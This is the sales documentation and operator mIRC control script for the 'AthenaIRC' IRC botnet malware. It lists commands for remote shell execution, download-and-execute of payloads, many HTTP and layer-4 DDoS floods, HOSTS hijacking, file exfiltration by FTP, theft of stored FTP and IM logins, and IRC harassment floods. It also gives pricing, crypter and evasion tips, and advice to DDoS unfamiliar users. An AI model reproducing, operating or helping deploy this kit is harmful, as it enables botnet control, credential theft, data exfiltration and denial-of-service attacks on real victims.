



# [AthenaIRC v2.4.0]

*coded by \_Stoner*

-----

-Documentation-

-----

# Athena IRC Bot Commands:

## Miscellaneous Commands

**!decrypt** - Decrypts a previously encrypted command(prevents IRC lurkers from seeing/interpreting the commands you are sending to your bots)

**!version** - Outputs bot version & running file location

**!info** - Outputs bot computer uptime, idletime, installed registry key type, .NET version(if it exists), and % of RAM used

**!shell ipconfig /flushdns** - Executes a shell(cmd.exe) command (ie. ipconfig /flushdns)

**!http.block website.com** - Blocks a host or IP

**!http.redirect originalwebsite.com newwebsite.com** - Redirects a host or IP

**!hosts.restore** - Restores the HOSTS file

**!http.status http://website.com/** - Outputs the current status of a given URL (ie. 200 OK, 302 Found, 404 Not Found, etc)

**!botkill.once** - Sends the botkiller through one cycle

**!botkill.start** - Starts the botkiller(proactive)

**!botkill.stop** - Stops the botkiller(proactive)

**!botkill.stats** - Outputs botkiller statistics

**!botkill.clear** - Clears botkiller statistics

**!uninstall** - Uninstalls

## Download Commands

**!download http://website.com/file.exe 300** - Downloads and executes a given file after a random number of seconds waited within a given range

**!download.arguments http://website.com/file.exe 300 arguments go here** - Downloads and Executes a file with specified arguments

**!download.update http://website.com/file.exe 300** - Downloads and executes a given file after a random number of seconds waited within a given range, and then uninstalls

**!download.abort http://website.com/file.exe** - Aborts a scheduled to download / update file

**!download.md5 <http://website.com/file.exe> 300 MD5HASHBELONGSHERE**

**!download.arguments.md5 <http://website.com/file.exe> 300 MD5HASHBELONGSHERE arguments go here**

**!download.update.md5 <http://website.com/file.exe> 300 MD5HASHBELONGSHERE**

-The MD5 versions of the commands do the same thing as the command without the .md5 extention except it checks the downloaded file MD5. It makes sure the MD5 of the downloaded file does not equal the MD5 of the current file. It also makes that the downloaded file is valid and in-fact the one you intended on downloading.

**!download.getmd5 <http://website.com/file.exe> 300** - Downloads a file and outputs the determined MD5 hash

## IRC Commands

**!irc.join #channel [key]** - Joins a channel

**!irc.part #channel** - Parts a channel

**!irc.raw** - Submit a RAW IRC command

**!irc.reconnect** - Reconnects to IRC after waiting 15 seconds

!irc.silent on/off - Toggles bot output to channel  
!irc.sort.country - Separates bots based on location  
!irc.sort.privelages - Separates bots based on Admin/User privileges  
!irc.sort.gender - Separates laptops and desktops  
!irc.sort.os - Separates bots based on operating system  
!irc.sort.architecture - Separates bots based on architecture  
!irc.sort.dotnet - Separates bots by version of .NET Framework installed  
!irc.sort.version - Separates bots by bot version  
!irc.unsort - Unsorts any previously sorted bots

!irc.join.busy #channel [key] - Joins a channel if the bot is actively DDoSing  
!irc.join.free #channel [key] - Joins a channel if the bot is not DDoSing  
!irc.part.busy #channel - Parts a channel if the bot is actively DDoSing  
!irc.part.free #channel - Parts a channel if the bot is not DDoSing

### **DDoS Commands**

[Port 80 is most common for websites]

!ddos.http.slowloris - Attacks a target webserver with many concurrent connections  
!ddos.http.rapidget - Sends mass amounts of randomized GET packets to a given target  
!ddos.http.rudy - Slowly posts content by the masses to a target webserver  
!ddos.http.rapidpost - Sends mass amounts of randomized POST packets to a given target  
!ddos.http.slowpost - Holds many concurrent connections to a webserver through POST methods  
!ddos.http.arme - Abuses partial content headers in order to harm a target webserver  
!ddos.http.bandwidth - This is a download based flood targeted towards larger files and downloadable content on websites  
!ddos.http.combo - This is a 'multi-vector' flood which attacks a webserver using a combination of 5 different types of HTTP based attacks  
!ddos.layer4.udp - Sends mass amounts of packets containing random data to a target host/ip  
!ddos.layer4.ecf - Floods a target with rapid connections and disconnections (Previously named condis) (ECF stands for Established Connection Flooding)  
!ddos.stop - Ends any currently running DDoS  
(Example: *!ddos.http.rapidget http://website.com/ 80 300*)  
(!ddos.command.here WebsiteURL PORT SECONDS)

!ddos.browser http://website.com/ 60 - Floods a website through html scripts and hidden browsers. Effective against sites heavy on browser based scripts.  
!ddos.browser.stop - Ends any currently running Browser Based DDoS

### **File Searching, Stealing, and Modification Commands**

!ftp.upload ftphost.com ftpuser ftppass C:\Archive.rar - Uploads a given file to a given FTP server  
!filesearch .exe - Searches entire bot computer for a given file name or piece of a file name, and outputs how many instances of it occurred  
!filesearch.output .rar - Functionality is the same as above, but the bot outputs the file path of the

searched item

!filesearch.stop - Ends any of the existing three above types of file searches

### **Recovery Commands**

!recovery.ftp - Outputs existing FTP logins on the bot computer

!recovery.im - Outputs existing IM logins on the bot computer

### **Website View Commands**

!view http://website.com/ - Views a given website in a random existing browser visibly

!view.hidden http://website.com/ - Views a given website in a random existing browser hidden

!smartview.add http://website.com/ 1080 300 - Adds a given URL to the 'SmartView' queue

-1080 is a range of 1080 seconds to choose a number of seconds from before opening the webpage

-300 is a range of 1080 seconds to choose a number of seconds from before closing the webpage

!smartview.del http://website.com/ - Deletes a given URL from the 'SmartView' queue if it exists

!smartview.clear - Clears the entire 'SmartView' queue

### **IRC War Commands**

!war.connect irc.server.net 6667 3 - Connects to a given IRC in multiple sockets (3 in this case is the max attempted concurrent connections)

!war.disconnect - Disconnects from a previously connected to IRC

!war.status - Outputs the amount of verified connections to IRC and the status of what the bot is currently doing

!war.register - Attempts to register a nickname through NickServ. It will bypass some NickServ security-modules.

!war.register.stop - This will abort the registration attempt.

!war.raw PRIVMSG #channel :raw message - Submits a RAW IRC command

!war.join #channel channelkey - Joins a channel with an optional key

!war.part #channel part message - Parts a channel with an optional part message

!war.msg user/#channel message here - Sends a message to a given user or channel

!war.notice user/#channel message here - Sends a notice to a given user or channel

!war.invite user - Invites a user to a random channel. Clients that have auto-join on invite are affected badly

!war.ctcp user - Floods a user with CTCP requests. This often disconnects users

!war.dcc user - Floods a user with DCC requests. This often disconnects users

!war.kill.user nickname - Attempts to kill a user from IRC

!war.kill.user.multi nick1 nick2 nick3 - Attempts to kill a list of users from IRC

!war.flood.channel #channel - Floods a given channel

!war.flood.channel.hop #channel - Floods a channel through mass joins and parts

!war.flood.anope - Floods Anope services. Anope will crash if enough bots are used.

!war.stop - Stops an existing flood

## FAQ:

**Q:** How can I get an FTP?

**A:** *Use google to find a free provider if you don't want to set up your own. You can also use recovered FTP logins from your bots.*

**Q:** What does it mean when my bots leave IRC and say "Connection reset by peer" and "Ping timeout" ?

**A:** *It means your bots connection to IRC has been cut in some way. Possible reasons your bot would disconnect are: Anti-Virus detections, severed internet connection, etc. "Client exited" means that your bot logged off or shut down their computer.*

**Q:** What crypters are compatible with Athena?

**A:** *I do not know, as I do not own any crypters. I can not and will not vouch for any of them.*

**Q:** What hosting provider should I use to host my bots?

**A:** *Same answer as what crypter you should use. I do not want to be responsible for naming your provider.*

**Q:** What is the difference between "!view.\*" and "!smartview.\*" ?

**A:** *The "!view.\*" commands opens a given website URL inside a random existing browser on the bot computer(Opera, Firefox, Internet Explorer, Chrome, or Maxthon) the instant you submit the command. The "!smartview.\*" commands wait a random amount of time before opening the website URL in a random existing browser, and wait a random amount of time before closing it.*

**Q:** Should I use startup on my crypter?

**A:** *The bot has everything it needs to operate properly built into it. I suggest you use a little settings as possible on your crypter.*

**Q:** What should I do about a user I do not recognise in my IRC?

**A:** *Attack them with DDoS and/or IRC War floods!*

## Tips:

- Allow bots to have cooldown time inbetween hefty commands
- It is good to try a variety of different floods when trying to take a website offline, as different servers are more-vulnerable to different kinds of floods
- ECF and UDP floods are best for servers hosting gameservers, VoiP, TeamSpeak, IRC, etc.
- Play with the bot a bit and become familiar with it. Using it will eventually become much easier and fluent.
- Bots will respond to a command set as the topic, encrypted commands included

## Pricing:

**100\$** - Solitary bin of Athena built to customer-specified configuration

**10\$** - Rebuild / Update of bin

**15\$** - I will set up your IRC myself so it is most-suitable for Athena on a server of yours through TeamViewer, join.me, PuTTY, etc.

-Prices are not permanent and can be subject to change at any point in time

-After purchase, it is up to the buyer to contact either me. I will not chase you down.

-PayPal and Liberty Reserve are accepted.

## Bin Settings:

**Botkill on Start(proactive)** - The botkiller will start on execution. It will attempt to kill its parent process as well as any other existing bots on the system. It is proactive, meaning it will continue to botkill any bots on the system until you specifically command it to stop. It can be toggled with !botkill.start / !botkill.stop

**Botkill on Start(one cycle)** - The botkiller will start on execution. It will attempt to kill its parent process as well as any other existing bots on the system. It will cycle through the botkiller only once.

**Encrypted IP** - Athena will decrypt the IP the DNS resolves to into the actual IRC IP. You are provided with a tool to convert the actual IP into the encrypted one after purchase.

**Silent by Default** - There is no bot output by default on join to IRC. 'lirc.silent off' will toggle output back to normal. (no recommended)

(Also note: Athena is a modular bot, meaning any of its features can be removed/put back in on request)

## Terms Of Service:

- There is no reselling of Athena
- All sales are final; no refunds
- I reserve the right to deny sales to any user if necessary
- Scams **will** result in negative consequences
- Disrespect will result in no more support and no more rebuilds/updates. It will not be tolerated.

## Contact:

<b>Jabber:</b>	AthenaIRC@thesecure.biz
<b>ICQ:</b>	618099251

## mIRC Script Installation:

1. Open the Script Editor in mIRC ----->
2. Navigate to the "Remote" tab
3. Click File -> New
4. Paste the below scripts into the Script Editor
5. Save and close
6. Use the script by right clicking on your bot channel



## Athena mIRC Script:

```
;Athena[v2.4.0] mIRC Script
menu channel {
-
Athena[v2.4.0]
..-
.Misc
..Version:/msg $active !version
..Info:/msg $active !info
..Shell:{
    %AthenaVar = $$?="Command:"
    msg $active !shell %AthenaVar
}
..-
..Block Host:{
    %AthenaVar = $$?="Host:"
    msg $active !http.block %AthenaVar
}
..Redirect Host:{
    %AthenaVar1 = $$?="Original Host:"
    %AthenaVar2 = $$?="Redirect to Host:"
    msg $active !http.redirect %AthenaVar1 %AthenaVar2
}
..Restore HOSTS File:/msg $active !hosts.restore
..-
..Download and Execute:{
    %AthenaVar1 = $$?="URL to Executable File:"
    %AthenaVar2 = $$?="Range of Seconds:"
    msg $active !download %AthenaVar1 %AthenaVar2
}
..Download and Execute(Arguments):{
    %AthenaVar1 = $$?="URL to Executable File:"
    %AthenaVar2 = $$?="Range of Seconds:"
    %AthenaVar3 = $$?="Arguments:"
    msg $active !download.arguments %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..Update:{
    %AthenaVar1 = $$?="URL to Executable File:"
    %AthenaVar2 = $$?="Range of Seconds:"
    msg $active !download.update %AthenaVar1 %AthenaVar2
}
..Abort Download/Update:{
    %AthenaVar = $$?="URL to Executable File:"
    msg $active !download.abort %AthenaVar
}
..MD5
...Determine MD5 of File:{
    %AthenaVar1 = $$?="URL to Executable File:"
    %AthenaVar2 = $$?="Range of Seconds:"
    msg $active !download.getmd5 %AthenaVar1 %AthenaVar2
}
...Download and Execute:{
    %AthenaVar1 = $$?="URL to Executable File:"
```

```

%AthenaVar2 = $$?="Range of Seconds:"
%AthenaVar3 = $$?="MD5 Hash:"
msg $active !download.md5 %AthenaVar1 %AthenaVar2 %AthenaVar3
}
...Download and Execute(Arguments):{
%AthenaVar1 = $$?="URL to Executable File:"
%AthenaVar2 = $$?="Range of Seconds:"
%AthenaVar3 = $$?="MD5 Hash:"
%AthenaVar4 = $$?="Arguments:"
msg $active !download.arguments.md5 %AthenaVar1 %AthenaVar2 %AthenaVar3 %AthenaVar4
}
...Update:{
%AthenaVar1 = $$?="URL to Executable File:"
%AthenaVar2 = $$?="Range of Seconds:"
%AthenaVar3 = $$?="MD5 Hash:"
msg $active !download.update.md5 %AthenaVar1 %AthenaVar2 %AthenaVar3
}
}
..-
..Botkill(one cycle)/msg $active !botkill.once
..Botkill(proactive)/msg $active !botkill.start
..Botkill Stop(proactive)/msg $active !botkill.stop
..Botkill Stats/msg $active !botkill.stats
..Clear Botkill Stats/msg $active !botkill.clear
..-
..Uninstall:/msg $active !uninstall
..IRC Commands
..Join:{
%AthenaVar = $$?="Channel(and optional channel key):"
msg $active !irc.join %AthenaVar
}
..Part:{
%AthenaVar = $$?="Channel:"
msg $active !irc.part %AthenaVar
}
..Raw Command:{
%AthenaVar = $$?="Command:"
msg $active !irc.raw %AthenaVar
}
..Reconnect:/msg $active !irc.reconnect
..-
..Silent ON:/msg $active !irc.silent on
..Silent OFF:/msg $active !irc.silent off
..-
..Sort by Country:/msg $active !irc.sort.country
..Sort by Privileges:/msg $active !irc.sort.privileges
..Sort by Gender:/msg $active !irc.sort.gender
..Sort by OS:/msg $active !irc.sort.os
..Sort by Architecture:/msg $active !irc.sort.architecture
..Sort by .NET Framework:/msg $active !irc.sort.dotnet
..Sort by bot version:/msg $active !irc.sort.version
..-
..Unsort:/msg $active !irc.unsort
..DDoS
..Stop Existing HTTP or LAYER4 Flood:/msg $active !ddos.stop
..-
..Slowloris:{
%AthenaVar1 = $$?="Website URL:"
%AthenaVar2 = $$?="Port:"
%AthenaVar3 = $$?="Length(seconds):"
msg $active !ddos.http.slowloris %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..Rapid GET:{
%AthenaVar1 = $$?="Website URL:"
%AthenaVar2 = $$?="Port:"
%AthenaVar3 = $$?="Length(seconds):"
msg $active !ddos.http.rapidget %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..RUDY:{
%AthenaVar1 = $$?="Website URL:"
%AthenaVar2 = $$?="Port:"
%AthenaVar3 = $$?="Length(seconds):"
msg $active !ddos.http.rudy %AthenaVar1 %AthenaVar2 %AthenaVar3
}

```



```

}
..Rapid POST:{
    %AthenaVar1 = $$?="Website URL:"
    %AthenaVar2 = $$?="Port:"
    %AthenaVar3 = $$?="Length(seconds):"
    msg $active !ddos.http.rapidpost %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..Slow POST:{
    %AthenaVar1 = $$?="Website URL:"
    %AthenaVar2 = $$?="Port:"
    %AthenaVar3 = $$?="Length(seconds):"
    msg $active !ddos.http.slowpost %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..ARME:{
    %AthenaVar1 = $$?="Website URL:"
    %AthenaVar2 = $$?="Port:"
    %AthenaVar3 = $$?="Length(seconds):"
    msg $active !ddos.http.arme %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..Bandwith Drain:{
    %AthenaVar1 = $$?="Website URL:"
    %AthenaVar2 = $$?="Length(seconds):"
    msg $active !ddos.http.bandwith %AthenaVar1 %AthenaVar2
}
..HTTP Combo:{
    %AthenaVar1 = $$?="Website URL:"
    %AthenaVar2 = $$?="Length(seconds):"
    msg $active !ddos.http.combo %AthenaVar1 %AthenaVar2
}
..-
..UDP:{
    %AthenaVar1 = $$?="Hostname/IP:"
    %AthenaVar2 = $$?="Port:"
    %AthenaVar3 = $$?="Length(seconds):"
    msg $active !ddos.layer4.udp %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..ECF:{
    %AthenaVar1 = $$?="Hostname/IP:"
    %AthenaVar2 = $$?="Port:"
    %AthenaVar3 = $$?="Length(seconds):"
    msg $active !ddos.layer4.ecf %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..-
..Browser Based Flood:{
    %AthenaVar1 = $$?="Hostname/IP:"
    %AthenaVar2 = $$?="Length(seconds):"
    msg $active !ddos.browser %AthenaVar1 %AthenaVar2
}
..Stop Browser Based Flood:/msg $active !ddos.browser.stop
..-
..Organize Bots
...Join
....Free Bots:{
    %AthenaVar = $$?="Channel(Optional Channel Key):"
    msg $active !irc.join.free %AthenaVar
}
....Busy Bots:{
    %AthenaVar = $$?="Channel(Optional Channel Key):"
    msg $active !irc.join.busy %AthenaVar
}
...Part
....Free Bots:{
    %AthenaVar = $$?="Channel(Optional PART Message):"
    msg $active !irc.part.free %AthenaVar
}
....Busy Bots:{
    %AthenaVar = $$?="Channel(Optional PART Message):"
    msg $active !irc.part.busy %AthenaVar
}
..Check Website Status:{
    %AthenaVar = $$?="Website URL:"
    msg $active !http.status %AthenaVar
}

```

```

}
.Recovery
..FTP:/msg $active !recovery.ftp
..IM:/msg $active !recovery.im
.Files
..Stop File Search:/msg $active !filesearch.stop
..-
..File Search:{
    %AthenaVar = $$?="Parameter:"
    msg $active !filesearch %AthenaVar
}
..File Search(Output){
    %AthenaVar = $$?="Parameter:"
    msg $active !filesearch.output %AthenaVar
}
..-
..FTP Upload:{
    %AthenaVar1 = $$?="Hostname/IP:"
    %AthenaVar2 = $$?="User:"
    %AthenaVar3 = $$?="Pass:"
    %AthenaVar4 = $$?="File Path:"
    msg $active !ftp.upload %AthenaVar1 %AthenaVar2 %AthenaVar3 %AthenaVar4
}
..-
..Website Views
..View Visible:{
    %AthenaVar = $$?="Website URL:"
    msg $active !view %AthenaVar
}
..View Hidden:{
    %AthenaVar = $$?="Website URL:"
    msg $active !view.hidden %AthenaVar
}
..-
..Add to View Queue:{
    %AthenaVar1 = $$?="Website URL:"
    %AthenaVar2 = $$?="Range of seconds before visit:"
    %AthenaVar3 = $$?="Range of seconds during/after visit:"
    msg $active !smartview.add %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..Delete from View Queue:{
    %AthenaVar = $$?="Website URL:"
    msg $active !smartview.del %AthenaVar
}
..Clear View Queue:/msg $active !smartview.clear
.IRC War
..Connect:{
    %AthenaVar1 = $$?="IRC DNS:"
    %AthenaVar2 = $$?="IRC Port:"
    %AthenaVar3 = $$?="# of Connections to attempt(15 is Max):"
    msg $active !war.connect %AthenaVar1 %AthenaVar2 %AthenaVar3
}
..Disconnect:/msg $active !war.disconnect
..Status:/msg $active !war.status
..-
..Register:/msg $active !war.register
..Register Stop:/msg $active !war.register.stop
..-
..RAW Command:{
    %AthenaVar = $$?="RAW Command:"
    msg $active !war.raw %AthenaVar
}
..Join Channel:{
    %AthenaVar = $$?="Channel(Optional Channel Key):"
    msg $active !war.join %AthenaVar
}
..Part Channel:{
    %AthenaVar = $$?="Channel(Optional PART Message):"
    msg $active !war.part %AthenaVar
}
..Message User/Channel:{
    %AthenaVar1 = $$?="User/Channel:"

```

```

%AthenaVar2 = $$?="Message:"
msg $active !war.msg %AthenaVar1 %AthenaVar2
}
..Notice User/Channel:{
%AthenaVar1 = $$?="User/Channel:"
%AthenaVar2 = $$?="Notice:"
msg $active !war.notice %AthenaVar1 %AthenaVar2
}
..New Nickname:/msg $active !war.newnick
..-
..Invite User:{
%AthenaVar = $$?="User:"
msg $active !war.invite %AthenaVar
}
..CTCP Request:{
%AthenaVar = $$?="User:"
msg $active !war.ctcp %AthenaVar
}
..DCC Request:{
%AthenaVar = $$?="User:"
msg $active !war.dcc %AthenaVar
}
..-
..Kill User:{
%AthenaVar = $$?="User:"
msg $active !war.kill.user %AthenaVar
}
..Kill User[Multi]:{
%AthenaVar = $$?="List of Users(Separated by Spaces):"
msg $active !war.kill.user.multi %AthenaVar
}
..Channel Flood:{
%AthenaVar = $$?="Channel(Optional Channel Key):"
msg $active !war.flood.channel %AthenaVar
}
..Channel Flood[Join/Part]:{
%AthenaVar = $$?="Channel(Optional Channel Key):"
msg $active !war.flood.channel.hop %AthenaVar
}
..Anope Flood:/msg $active !war.flood.anope
..Stop Flood or Kill:/msg $active !war.stop
}

```